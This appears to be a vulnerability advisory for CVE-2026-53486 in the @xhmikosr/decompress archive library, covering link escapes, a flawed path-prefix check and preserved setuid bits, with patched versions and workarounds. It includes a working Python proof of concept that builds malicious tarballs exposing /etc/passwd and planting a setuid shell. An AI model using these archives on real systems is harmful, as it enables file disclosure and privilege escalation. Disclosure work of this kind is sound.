CVE-2026-53486: @xhmikosr/decompress Path Traversal, Symlink Escape, and Setuid File Creation
A crafted archive extracted with @xhmikosr/decompress (and the unmaintained upstream decompress package) can write files outside the target directory, expose arbitrary files via hardlinks, and…
The problem
Three separate flaws exist in the file-write loop that runs for every archive format the library handles (tar, tar.gz, tar.bz2, zip, and any plugin-added formats).
First, hardlink and symlink entries are written without verifying where their target resolves to on disk. A hardlink can point at any file the process can read, copying sensitive data into the output directory. A symlink pointing outside the output directory can redirect a later write to an arbitrary location.
Second, the containment check used a string prefix comparison (realPath.indexOf(outputPath) !== 0). This incorrectly allows a path like /srv/out-old/evil to pass when the output directory is /srv/out, because /srv/out is a string prefix of /srv/out-old.
Third, file modes were applied as mode & ~umask without first stripping setuid (04000), setgid (02000), and sticky (01000) bits. An archive entry with mode 0o4755 creates a setuid-root executable when extraction runs as root, for example in CI pipelines or container build scripts.
Proof of concept
A working proof-of-concept for CVE-2026-53486 in @xhmikosr/decompress, with the exact payload below.
#!/usr/bin/env python3
# Generates three malicious tarballs that demonstrate each flaw.
# Requires: pip install python-libarchive-c (or use the stdlib tarfile)
import tarfile, io, os, stat
# --- 1. Hardlink escape: expose /etc/passwd inside the output dir ---
with tarfile.open('hardlink_escape.tar', 'w') as t:
info = tarfile.TarInfo(name='stolen_passwd') # appears in ./out/
info.type = tarfile.LNKTYPE
info.linkname = '/etc/passwd' # absolute hardlink target
t.addfile(info)
# --- 2. Sibling-directory escape via prefix confusion ---
# Output dir: /tmp/out Sibling: /tmp/out-secret
# indexOf check sees '/tmp/out' as prefix of '/tmp/out-secret/evil' -> passes
with tarfile.open('sibling_escape.tar', 'w') as t:
info = tarfile.TarInfo(name='../out-secret/evil.txt')
info.type = tarfile.REGTYPE
info.size = 6
t.addfile(info, io.BytesIO(b'pwned\n'))
# --- 3. Setuid bit preservation (root extraction) ---
with tarfile.open('setuid_escape.tar', 'w') as t:
payload = b'#!/bin/sh\nexec /bin/sh\n'
info = tarfile.TarInfo(name='rootshell')
info.type = tarfile.REGTYPE
info.size = len(payload)
info.mode = 0o4755 # setuid + rwxr-xr-x; umask does not strip setuid
t.addfile(info, io.BytesIO(payload))
# Extract each with decompress (< 10.2.1) to observe the impact:
# const decompress = require('@xhmikosr/decompress');
# await decompress('hardlink_escape.tar', '/tmp/out'); // /tmp/out/stolen_passwd == /etc/passwd
# await decompress('sibling_escape.tar', '/tmp/out'); // writes to /tmp/out-secret/evil.txt
# await decompress('setuid_escape.tar', '/tmp/out'); // /tmp/out/rootshell has setuid bit set
print('Malicious archives written.')Bug 1 (CWE-59, link following): the library called fs.link() / fs.symlink() directly from the archive entry's linkname field with no target resolution. The patch now calls fs.realpath() on the resolved link target and checks it falls inside the output directory before creating the link.
Bug 2 (CWE-22, path traversal): realPath.indexOf(outputPath) !== 0 is a string prefix test, not a path containment test. /tmp/out-evil starts with /tmp/out, so the check passes. The patch replaces this with path.relative(outputPath, realPath) and rejects any result that starts with ...
Bug 3 (CWE-732, incorrect permission): mode & ~umask passes the setuid/setgid/sticky bits straight through because the umask does not mask them by default. The patch explicitly clears those bits with mode & ~0o7000 before writing the file mode.
The fix
Update to @xhmikosr/decompress 10.2.1 (v10 line) or 11.1.3 (v11 line). The upstream decompress package (last release 4.2.1) is unmaintained and has the same flaws with no fix available; migrate away from it entirely. As a short-term workaround, extract only archives from trusted sources, run extraction as a non-root user, and audit extracted output for unexpected symlinks, hardlinks, and setuid/setgid bits.
Related research
- highCVE-2026-55607CVE-2026-55607: @anthropic-ai/claude-code Sandbox Escape via Git Worktree Path Confusion
- critical · 9.6CVE-2026-54352CVE-2026-54352: @budibase/server Arbitrary File Read via PWA ZIP Symlink
- high · 7.5CVE-2026-15074CVE-2026-15074: @fastify/static Route Guard Bypass via Dot-Dot Path Traversal
- high · 7.5PostCSS Path Traversal via sourceMappingURL Leads to Arbitrary .map File Disclosure